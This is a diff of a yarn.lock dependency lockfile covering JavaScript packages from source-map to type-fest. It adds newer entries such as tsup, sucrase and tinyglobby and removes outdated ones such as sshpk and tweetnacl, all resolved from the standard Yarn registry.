+  resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.8.0-beta.0.tgz#d4c1bb42c3f7ee925f005927ba10709e0d1d1f11"
+  integrity sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA==
+  dependencies:
+    whatwg-url "^7.0.0"
+
 source-map@^0.5.0, source-map@^0.5.1, source-map@^0.5.6:
   version "0.5.7"
   resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.5.7.tgz#8a039d2d1021d22d1ea14c80d8ea468ba2ef3fcc"
@@ -14905,10 +16008,15 @@ split-string@^3.0.1, split-string@^3.0.2:
   dependencies:
     extend-shallow "^3.0.0"
 
-split@~0.3.3:
-  version "0.3.3"
-  resolved "https://registry.yarnpkg.com/split/-/split-0.3.3.tgz#cd0eea5e63a211dfff7eb0f091c4133e2d0dd28f"
-  integrity sha1-zQ7qXmOiEd//frDwkcQTPi0N0o8=
+split2@^4.0.0:
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/split2/-/split2-4.2.0.tgz#c9c5920904d148bab0b9f67145f245a86aadbfa4"
+  integrity sha512-UcjcJOWknrNkF6PLX83qcHM6KHgVKNkV62Y8a5uYDVv9ydGQVwAHMKqHdJje1VTWpljG0WYpCDhrCdAOYH4TWg==
+
+split@~1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/split/-/split-1.0.1.tgz#605bd9be303aa59fb35f9229fbea0ddec9ea07d9"
+  integrity sha512-mTyOoPbrivtXnwnIxZRFYRrPNtEFKlpB2fvjSnCQUiAA6qAZzqwna5envK4uk6OIeP17CsdF3rSBGYVBsU0Tkg==
   dependencies:
     through "2"
 
@@ -14931,21 +16039,6 @@ squeak@^1.0.0:
     console-stream "^0.1.1"
     lpad-align "^1.0.1"
 
-sshpk@^1.7.0:
-  version "1.14.1"
-  resolved "https://registry.yarnpkg.com/sshpk/-/sshpk-1.14.1.tgz#130f5975eddad963f1d56f92b9ac6c51fa9f83eb"
-  integrity sha1-Ew9Zde3a2WPx1W+SuaxsUfqfg+s=
-  dependencies:
-    asn1 "~0.2.3"
-    assert-plus "^1.0.0"
-    dashdash "^1.12.0"
-    getpass "^0.1.1"
-  optionalDependencies:
-    bcrypt-pbkdf "^1.0.0"
-    ecc-jsbn "~0.1.1"
-    jsbn "~0.1.0"
-    tweetnacl "~0.14.0"
-
 stable@^0.1.8:
   version "0.1.8"
   resolved "https://registry.yarnpkg.com/stable/-/stable-0.1.8.tgz#836eb3c8382fe2936feaf544631017ce7d47a3cf"
@@ -14994,34 +16087,11 @@ stream-browserify@^1.0.0:
     inherits "~2.0.1"
     readable-stream "^1.0.27-1"
 
-stream-parser@~0.3.1:
-  version "0.3.1"
-  resolved "https://registry.yarnpkg.com/stream-parser/-/stream-parser-0.3.1.tgz#1618548694420021a1182ff0af1911c129761773"
-  integrity sha1-FhhUhpRCACGhGC/wrxkRwSl2F3M=
-  dependencies:
-    debug "2"
-
 stream-shift@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/stream-shift/-/stream-shift-1.0.1.tgz#d7088281559ab2778424279b0877da3c392d5a3d"
   integrity sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ==
 
-stream-to-array@~2.3.0:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/stream-to-array/-/stream-to-array-2.3.0.tgz#bbf6b39f5f43ec30bc71babcb37557acecf34353"
-  integrity sha1-u/azn19D7DC8cbq8s3VXrOzzQ1M=
-  dependencies:
-    any-promise "^1.1.0"
-
-stream-to-promise@2.2.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/stream-to-promise/-/stream-to-promise-2.2.0.tgz#b1edb2e1c8cb11289d1b503c08d3f2aef51e650f"
-  integrity sha1-se2y4cjLESidG1A8CNPyrvUeZQ8=
-  dependencies:
-    any-promise "~1.3.0"
-    end-of-stream "~1.1.0"
-    stream-to-array "~2.3.0"
-
 strict-uri-encode@^1.0.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz#279b225df1d582b1f54e65addd4352e18faa0713"
@@ -15045,7 +16115,7 @@ string-natural-compare@^3.0.1:
   resolved "https://registry.yarnpkg.com/string-natural-compare/-/string-natural-compare-3.0.1.tgz#7a42d58474454963759e8e8b7ae63d71c1e7fdf4"
   integrity sha512-n3sPwynL1nwKi3WJ6AIsClwBMa0zTi54fn2oLU6ndfTSIO05xaznjSf15PcBZU6FNWbmN5Q6cxT4V5hGvB4taw==
 
-"string-width-cjs@npm:string-width@^4.2.0", string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3:
+"string-width-cjs@npm:string-width@^4.2.0":
   version "4.2.3"
   resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010"
   integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
@@ -15054,14 +16124,6 @@ string-natural-compare@^3.0.1:
     is-fullwidth-code-point "^3.0.0"
     strip-ansi "^6.0.1"
 
-string-width@^2.0.0, string-width@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/string-width/-/string-width-2.1.1.tgz#ab93f27a8dc13d28cac815c462143a6d9012ae9e"
-  integrity sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==
-  dependencies:
-    is-fullwidth-code-point "^2.0.0"
-    strip-ansi "^4.0.0"
-
 string-width@^3.0.0:
   version "3.1.0"
   resolved "https://registry.yarnpkg.com/string-width/-/string-width-3.1.0.tgz#22767be21b62af1081574306f69ac51b62203961"
@@ -15078,7 +16140,16 @@ string-width@^4.0.0:
   dependencies:
     emoji-regex "^8.0.0"
     is-fullwidth-code-point "^3.0.0"
-    strip-ansi "^6.0.0"
+    strip-ansi "^6.0.0"
+
+string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.2, string-width@^4.2.3:
+  version "4.2.3"
+  resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010"
+  integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
+  dependencies:
+    emoji-regex "^8.0.0"
+    is-fullwidth-code-point "^3.0.0"
+    strip-ansi "^6.0.1"
 
 string-width@^5.0.1, string-width@^5.1.2:
   version "5.1.2"
@@ -15121,7 +16192,7 @@ string.prototype.trimstart@^1.0.4:
     call-bind "^1.0.2"
     define-properties "^1.1.3"
 
-string_decoder@^1.1.1:
+string_decoder@^1.1.1, string_decoder@^1.3.0:
   version "1.3.0"
   resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.3.0.tgz#42f114594a46cf1a8e30b0a84f56c78c3edac21e"
   integrity sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==
@@ -15140,7 +16211,7 @@ string_decoder@~1.1.1:
   dependencies:
     safe-buffer "~5.1.0"
 
-"strip-ansi-cjs@npm:strip-ansi@^6.0.1", strip-ansi@^6.0.0, strip-ansi@^6.0.1:
+"strip-ansi-cjs@npm:strip-ansi@^6.0.1":
   version "6.0.1"
   resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9"
   integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
@@ -15154,13 +16225,6 @@ strip-ansi@^3.0.0:
   dependencies:
     ansi-regex "^2.0.0"
 
-strip-ansi@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-4.0.0.tgz#a8479022eb1ac368a871389b635262c505ee368f"
-  integrity sha1-qEeQIusaw2iocTibY1JixQXuNo8=
-  dependencies:
-    ansi-regex "^3.0.0"
-
 strip-ansi@^5.1.0:
   version "5.2.0"
   resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-5.2.0.tgz#8c9a536feb6afc962bdfa5b104a5091c1ad9c0ae"
@@ -15168,6 +16232,13 @@ strip-ansi@^5.1.0:
   dependencies:
     ansi-regex "^4.1.0"
 
+strip-ansi@^6.0.0, strip-ansi@^6.0.1:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9"
+  integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
+  dependencies:
+    ansi-regex "^5.0.1"
+
 strip-ansi@^7.0.1:
   version "7.1.0"
   resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-7.1.0.tgz#d5b6568ca689d8561370b0707685d22434faff45"
@@ -15195,10 +16266,10 @@ strip-bom-string@^0.1.2:
   resolved "https://registry.yarnpkg.com/strip-bom-string/-/strip-bom-string-0.1.2.tgz#9c6e720a313ba9836589518405ccfb88a5f41b9c"
   integrity sha1-nG5yCjE7qYNliVGEBcz7iKX0G5w=
 
-strip-bom@4.0.0, strip-bom@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-4.0.0.tgz#9c3505c1db45bcedca3d9cf7a16f5c5aa3901878"
-  integrity sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==
+strip-bom@5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-5.0.0.tgz#88d2e135d154dca7a5e06b4a4ba9653b6bdc0dd2"
+  integrity sha512-p+byADHF7SzEcVnLvc/r3uognM1hUhObuHXxJcgLCfD194XAkaLbjq3Wzb0N5G2tgIjH0dgT708Z51QxMeu60A==
 
 strip-bom@^2.0.0:
   version "2.0.0"
@@ -15207,6 +16278,11 @@ strip-bom@^2.0.0:
   dependencies:
     is-utf8 "^0.2.0"
 
+strip-bom@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-4.0.0.tgz#9c3505c1db45bcedca3d9cf7a16f5c5aa3901878"
+  integrity sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==
+
 strip-dirs@^2.0.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/strip-dirs/-/strip-dirs-2.1.0.tgz#4987736264fc344cf20f6c34aca9d13d1d4ed6c5"
@@ -15224,6 +16300,11 @@ strip-final-newline@^2.0.0:
   resolved "https://registry.yarnpkg.com/strip-final-newline/-/strip-final-newline-2.0.0.tgz#89b852fb2fcbe936f6f4b3187afb0a12c1ab58ad"
   integrity sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==
 
+strip-final-newline@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/strip-final-newline/-/strip-final-newline-3.0.0.tgz#52894c313fbff318835280aed60ff71ebf12b8fd"
+  integrity sha512-dOESqjYr96iWYylGObzd39EuNTa5VJxyvVAEm5Jnh7KGo75V43Hk1odPQkNDyXNmUR6k+gEiDVXnjB8HJ3crXw==
+
 strip-indent@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/strip-indent/-/strip-indent-1.0.1.tgz#0c7962a6adefa7bbd4ac366460a638552ae1a0a2"
@@ -15231,21 +16312,21 @@ strip-indent@^1.0.1:
   dependencies:
     get-stdin "^4.0.1"
 
-strip-json-comments@3.0.1:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-3.0.1.tgz#85713975a91fb87bf1b305cca77395e40d2a64a7"
-  integrity sha512-VTyMAUfdm047mwKl+u79WIdrZxtFtn+nBxHeb844XBQ9uMNTuTHdx2hc5RiAJYqwTj3wc/xe5HLSdJSkJ+WfZw==
-
-strip-json-comments@^2.0.1, strip-json-comments@~2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-2.0.1.tgz#3c531942e908c2697c0ec344858c286c7ca0a60a"
-  integrity sha1-PFMZQukIwml8DsNEhYwobHygpgo=
+strip-json-comments@5.0.1:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-5.0.1.tgz#0d8b7d01b23848ed7dbdf4baaaa31a8250d8cfa0"
+  integrity sha512-0fk9zBqO67Nq5M/m45qHCJxylV/DhBlIOVExqgOMiCCrzrhU6tCibRXNqE3jwJLftzE9SNuZtYbpzcO+i9FiKw==
 
 strip-json-comments@^3.1.0, strip-json-comments@^3.1.1:
   version "3.1.1"
   resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz#31f1281b3832630434831c310c01cccda8cbe006"
   integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==
 
+strip-json-comments@~2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-2.0.1.tgz#3c531942e908c2697c0ec344858c286c7ca0a60a"
+  integrity sha1-PFMZQukIwml8DsNEhYwobHygpgo=
+
 strip-outer@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/strip-outer/-/strip-outer-1.0.1.tgz#b2fd2abf6604b9d1e6013057195df836b8a9d631"
@@ -15281,6 +16362,19 @@ style-loader@^1.2.1:
     loader-utils "^2.0.0"
     schema-utils "^2.6.6"
 
+sucrase@^3.35.0:
+  version "3.35.0"
+  resolved "https://registry.yarnpkg.com/sucrase/-/sucrase-3.35.0.tgz#57f17a3d7e19b36d8995f06679d121be914ae263"
+  integrity sha512-8EbVDiu9iN/nESwxeSxDKe0dunta1GOlHufmSSXxMD2z2/tMZpDMpvXQGsc+ajGo8y2uYUmixaSRUc/QPoQ0GA==
+  dependencies:
+    "@jridgewell/gen-mapping" "^0.3.2"
+    commander "^4.0.0"
+    glob "^10.3.10"
+    lines-and-columns "^1.1.6"
+    mz "^2.7.0"
+    pirates "^4.0.1"
+    ts-interface-checker "^0.1.9"
+
 sumchecker@^3.0.1:
   version "3.0.1"
   resolved "https://registry.yarnpkg.com/sumchecker/-/sumchecker-3.0.1.tgz#6377e996795abb0b6d348e9b3e1dfb24345a8e42"
@@ -15368,16 +16462,6 @@ tabbable@^4.0.0:
   resolved "https://registry.yarnpkg.com/tabbable/-/tabbable-4.0.0.tgz#5bff1d1135df1482cf0f0206434f15eadbeb9261"
   integrity sha512-H1XoH1URcBOa/rZZWxLxHCtOdVUEev+9vo5YdYhC9tCY4wnybX+VQrCYuy9ubkg69fCBxCONJOSLGfw0DWMffQ==
 
-table@^5.2.3:
-  version "5.4.6"
-  resolved "https://registry.yarnpkg.com/table/-/table-5.4.6.tgz#1292d19500ce3f86053b05f0e8e7e4a3bb21079e"
-  integrity sha512-wmEc8m4fjnob4gt5riFRtTu/6+4rSe12TpAELNSqHMfF3IqnA+CH37USM6/YR3qRZv7e56kAEAtd6nKZaxe0Ug==
-  dependencies:
-    ajv "^6.10.2"
-    lodash "^4.17.14"
-    slice-ansi "^2.1.0"
-    string-width "^3.0.0"
-
 table@^6.0.9:
   version "6.8.1"
   resolved "https://registry.yarnpkg.com/table/-/table-6.8.1.tgz#ea2b71359fe03b017a5fbc296204471158080bdf"
@@ -15389,6 +16473,17 @@ table@^6.0.9:
     string-width "^4.2.3"
     strip-ansi "^6.0.1"
 
+table@^6.7.3:
+  version "6.9.0"
+  resolved "https://registry.yarnpkg.com/table/-/table-6.9.0.tgz#50040afa6264141c7566b3b81d4d82c47a8668f5"
+  integrity sha512-9kY+CygyYM6j02t5YFHbNz2FN5QmYGv9zAjVp4lCDjlCw7amdckXlEt/bjMhUIfj4ThGRE4gCUH5+yGnNuPo5A==
+  dependencies:
+    ajv "^8.0.1"
+    lodash.truncate "^4.4.2"
+    slice-ansi "^4.0.0"
+    string-width "^4.2.3"
+    strip-ansi "^6.0.1"
+
 tapable@^2.1.1, tapable@^2.2.0, tapable@^2.2.1:
   version "2.2.1"
   resolved "https://registry.yarnpkg.com/tapable/-/tapable-2.2.1.tgz#1967a73ef4060a82f12ab96af86d52fdb76eeca0"
@@ -15448,13 +16543,6 @@ tempfile@^2.0.0:
     temp-dir "^1.0.0"
     uuid "^3.0.1"
 
-term-size@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/term-size/-/term-size-1.2.0.tgz#458b83887f288fc56d6fffbfad262e26638efa69"
-  integrity sha1-RYuDiH8oj8Vtb/+/rSYuJmOO+mk=
-  dependencies:
-    execa "^0.7.0"
-
 term-size@^2.1.0:
   version "2.2.0"
   resolved "https://registry.yarnpkg.com/term-size/-/term-size-2.2.0.tgz#1f16adedfe9bdc18800e1776821734086fcc6753"
@@ -15509,6 +16597,13 @@ thenify-all@^1.0.0:
   dependencies:
     any-promise "^1.0.0"
 
+thread-stream@^2.0.0:
+  version "2.7.0"
+  resolved "https://registry.yarnpkg.com/thread-stream/-/thread-stream-2.7.0.tgz#d8a8e1b3fd538a6cca8ce69dbe5d3d097b601e11"
+  integrity sha512-qQiRWsU/wvNolI6tbbCKd9iKaTnCXsTwVxhhKM6nctPdujTyztjlbUkUTUymidWcMnZ5pWR0ej4a0tjsW021vw==
+  dependencies:
+    real-require "^0.2.0"
+
 through2-filter@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/through2-filter/-/through2-filter-2.0.0.tgz#60bc55a0dacb76085db1f9dae99ab43f83d622ec"
@@ -15540,7 +16635,7 @@ through2@~2.0.0:
     readable-stream "^2.1.5"
     xtend "~4.0.1"
 
-through@2, through@^2.3.6, through@^2.3.8:
+through@2, through@^2.3.8:
   version "2.3.8"
   resolved "https://registry.yarnpkg.com/through/-/through-2.3.8.tgz#0dd4c9ffaabc357960b1b724115d7e0e86a2e1f5"
   integrity sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=
@@ -15572,20 +16667,36 @@ tiny-warning@^1.0.3:
   resolved "https://registry.yarnpkg.com/tiny-warning/-/tiny-warning-1.0.3.tgz#94a30db453df4c643d0fd566060d60a875d84754"
   integrity sha512-lBN9zLN/oAf68o3zNXYrdCt1kP8WsiGW8Oo2ka41b2IM5JL/S1CTyX1rW0mb/zSuJun0ZUrDxx4sqvYS2FWzPA==
 
-tmp@0.1.0, tmp@^0.1.0:
+tinyexec@^0.3.2:
+  version "0.3.2"
+  resolved "https://registry.yarnpkg.com/tinyexec/-/tinyexec-0.3.2.tgz#941794e657a85e496577995c6eef66f53f42b3d2"
+  integrity sha512-KQQR9yN7R5+OSwaK0XQoj22pwHoTlgYqmUscPYoknOoWCWfj/5/ABTMRi69FrKU5ffPVh5QcFikpWJI/P1ocHA==
+
+tinyglobby@^0.2.11:
+  version "0.2.12"
+  resolved "https://registry.yarnpkg.com/tinyglobby/-/tinyglobby-0.2.12.tgz#ac941a42e0c5773bd0b5d08f32de82e74a1a61b5"
+  integrity sha512-qkf4trmKSIiMTs/E63cxH+ojC2unam7rJ0WrauAzpT3ECNTxGRMlaXxVbfxMUC/w0LaYk6jQ4y/nGR9uBO3tww==
+  dependencies:
+    fdir "^6.4.3"
+    picomatch "^4.0.2"
+
+titleize@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/titleize/-/titleize-3.0.0.tgz#71c12eb7fdd2558aa8a44b0be83b8a76694acd53"
+  integrity sha512-KxVu8EYHDPBdUYdKZdKtU2aj2XfEx9AfjXxE/Aj0vT06w2icA09Vus1rh6eSu1y01akYg6BjIK/hxyLJINoMLQ==
+
+tmp@0.2.3:
+  version "0.2.3"
+  resolved "https://registry.yarnpkg.com/tmp/-/tmp-0.2.3.tgz#eb783cc22bc1e8bebd0671476d46ea4eb32a79ae"
+  integrity sha512-nZD7m9iCPC5g0pYmcaxogYKggSfLsdxl8of3Q/oIbqCqLLIO9IAF0GWjX1z9NZRHPiXv8Wex4yDCaZsgEw0Y8w==
+
+tmp@^0.1.0:
   version "0.1.0"
   resolved "https://registry.yarnpkg.com/tmp/-/tmp-0.1.0.tgz#ee434a4e22543082e294ba6201dcc6eafefa2877"
   integrity sha512-J7Z2K08jbGcdA1kkQpJSqLF6T0tdQqpR2pnSUXsIchbPdTI9v3e85cLW0d6WDhwuAleOV71j2xWs8qMPfK7nKw==
   dependencies:
     rimraf "^2.6.3"
 
-tmp@^0.0.33:
-  version "0.0.33"
-  resolved "https://registry.yarnpkg.com/tmp/-/tmp-0.0.33.tgz#6d34335889768d21b2bcda0aa277ced3b1bfadf9"
-  integrity sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==
-  dependencies:
-    os-tmpdir "~1.0.2"
-
 tmpl@1.0.5:
   version "1.0.5"
   resolved "https://registry.yarnpkg.com/tmpl/-/tmpl-1.0.5.tgz#8683e0b902bb9c20c4f726e3c0b69f36518c07cc"
@@ -15675,20 +16786,12 @@ tough-cookie@^4.1.2:
     universalify "^0.2.0"
     url-parse "^1.5.3"
 
-tough-cookie@~2.4.3:
-  version "2.4.3"
-  resolved "https://registry.yarnpkg.com/tough-cookie/-/tough-cookie-2.4.3.tgz#53f36da3f47783b0925afa06ff9f3b165280f781"
-  integrity sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==
-  dependencies:
-    psl "^1.1.24"
-    punycode "^1.4.1"
-
-tr46@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/tr46/-/tr46-2.0.2.tgz#03273586def1595ae08fedb38d7733cee91d2479"
-  integrity sha512-3n1qG+/5kg+jrbTzwAykB5yRYtQCTqOGKq5U5PE3b0a1/mzo6snDhjGS0zJVJunO0NrT3Dg1MLy5TjWP/UJppg==
+tr46@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/tr46/-/tr46-1.0.1.tgz#a8b13fd6bfd2489519674ccde55ba3693b706d09"
+  integrity sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==
   dependencies:
-    punycode "^2.1.1"
+    punycode "^2.1.0"
 
 tr46@^4.1.1:
   version "4.1.1"
@@ -15707,10 +16810,10 @@ traverse-chain@~0.1.0:
   resolved "https://registry.yarnpkg.com/traverse-chain/-/traverse-chain-0.1.0.tgz#61dbc2d53b69ff6091a12a168fd7d433107e40f1"
   integrity sha1-YdvC1Ttp/2CRoSoWj9fUMxB+QPE=
 
-traverse@0.4.x:
-  version "0.4.6"
-  resolved "https://registry.yarnpkg.com/traverse/-/traverse-0.4.6.tgz#d04b2280e4c792a5815429ef7b8b60c64c9ccc34"
-  integrity sha1-0EsigOTHkqWBVCnve4tgxkyczDQ=
+tree-kill@^1.2.2:
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/tree-kill/-/tree-kill-1.2.2.tgz#4ca09a9092c88b73a7cdc5e8a01b507b0790a0cc"
+  integrity sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==
 
 trim-newlines@^1.0.0:
   version "1.0.0"
@@ -15729,6 +16832,11 @@ ts-api-utils@^1.0.1:
   resolved "https://registry.yarnpkg.com/ts-api-utils/-/ts-api-utils-1.3.0.tgz#4b490e27129f1e8e686b45cc4ab63714dc60eea1"
   integrity sha512-UQMIo7pb8WRomKR1/+MFVLTroIvDVtMX3K6OUir8ynLyzB8Jeriont2bTAtmNPa1ekAgN7YPDyf6V+ygrdU+eQ==
 
+ts-interface-checker@^0.1.9:
+  version "0.1.13"
+  resolved "https://registry.yarnpkg.com/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz#784fd3d679722bc103b1b4b8030bcddb5db2a699"
+  integrity sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==
+
 ts-node@8.9.1:
   version "8.9.1"
   resolved "https://registry.yarnpkg.com/ts-node/-/ts-node-8.9.1.tgz#2f857f46c47e91dcd28a14e052482eb14cfd65a5"
@@ -15755,6 +16863,28 @@ tslib@^2.3.0:
   resolved "https://registry.yarnpkg.com/tslib/-/tslib-2.3.0.tgz#803b8cdab3e12ba581a4ca41c8839bbb0dacb09e"
   integrity sha512-N82ooyxVNm6h1riLCoyS9e3fuJ3AMG2zIZs2Gd1ATcSFjSA23Q0fzjjZeh0jbJvWVDZ0cJT8yaNNaaXHzueNjg==
 
+tsup@^8.4.0:
+  version "8.4.0"
+  resolved "https://registry.yarnpkg.com/tsup/-/tsup-8.4.0.tgz#2fdf537e7abc8f1ccbbbfe4228f16831457d4395"
+  integrity sha512-b+eZbPCjz10fRryaAA7C8xlIHnf8VnsaRqydheLIqwG/Mcpfk8Z5zp3HayX7GaTygkigHl5cBUs+IhcySiIexQ==
+  dependencies:
+    bundle-require "^5.1.0"
+    cac "^6.7.14"
+    chokidar "^4.0.3"
+    consola "^3.4.0"
+    debug "^4.4.0"
+    esbuild "^0.25.0"
+    joycon "^3.1.1"
+    picocolors "^1.1.1"
+    postcss-load-config "^6.0.1"
+    resolve-from "^5.0.0"
+    rollup "^4.34.8"
+    source-map "0.8.0-beta.0"
+    sucrase "^3.35.0"
+    tinyexec "^0.3.2"
+    tinyglobby "^0.2.11"
+    tree-kill "^1.2.2"
+
 tsutils@^3.17.1:
   version "3.17.1"
   resolved "https://registry.yarnpkg.com/tsutils/-/tsutils-3.17.1.tgz#ed719917f11ca0dee586272b2ac49e015a2dd759"
@@ -15781,11 +16911,6 @@ tunnel-agent@^0.6.0:
   dependencies:
     safe-buffer "^5.0.1"
 
-tweetnacl@^0.14.3, tweetnacl@~0.14.0:
-  version "0.14.5"
-  resolved "https://registry.yarnpkg.com/tweetnacl/-/tweetnacl-0.14.5.tgz#5ae68177f192d4456269d108afa93ff8743f4f64"
-  integrity sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=
-
 type-check@^0.4.0, type-check@~0.4.0:
   version "0.4.0"
   resolved "https://registry.yarnpkg.com/type-check/-/type-check-0.4.0.tgz#07b8203bfa7056c0657050e3ccd2c37730bab8f1"
@@ -15793,14 +16918,7 @@ type-check@^0.4.0, type-check@~0.4.0:
   dependencies:
     prelude-ls "^1.2.1"
 
-type-check@~0.3.2:
-  version "0.3.2"
-  resolved "https://registry.yarnpkg.com/type-check/-/type-check-0.3.2.tgz#5884cab512cf1d355e3fb784f30804b2b520db72"
-  integrity sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=
-  dependencies:
-    prelude-ls "~1.1.2"
-
-type-detect@4.0.8, type-detect@^4.0.8:
+type-detect@4.0.8:
   version "4.0.8"
   resolved "https://registry.yarnpkg.com/type-detect/-/type-detect-4.0.8.tgz#7646fb5f18871cfbb7749e69bd39a6388eb7450c"
   integrity sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==
@@ -15825,6 +16943,21 @@ type-fest@^0.8.1:
   resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.8.1.tgz#09e249ebde851d3b1e48d27c105444667f17b83d"
   integrity sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==
 
+type-fest@^1.0.1:
+  version "1.4.0"
+  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-1.4.0.tgz#e9fb813fe3bf1744ec359d55d1affefa76f14be1"
+  integrity sha512-yGSza74xk0UG8k+pLh5oeoYirvIiWo5t0/o3zHHAO2tRDiZcxWP7fywNlXhqb6/r6sWvwi+RsyQMWhVLe4BVuA==
+
+type-fest@^2.13.0:
+  version "2.19.0"
+  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-2.19.0.tgz#88068015bb33036a598b952e55e9311a60fd3a9b"
+  integrity sha512-RAH822pAdBgcNMAfWnCBU3CFZcfZ/i1eZjwFU/dsLKumyuuP3niueg2UAukXYF0E2AAoc82ZSSf9J0WQBinzHA==
+
+type-fest@^3.8.0:
+  version "3.13.1"
+  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-3.13.1.tgz#bb744c1f0678bea7543a2d1ec24e83e68e8c8706"
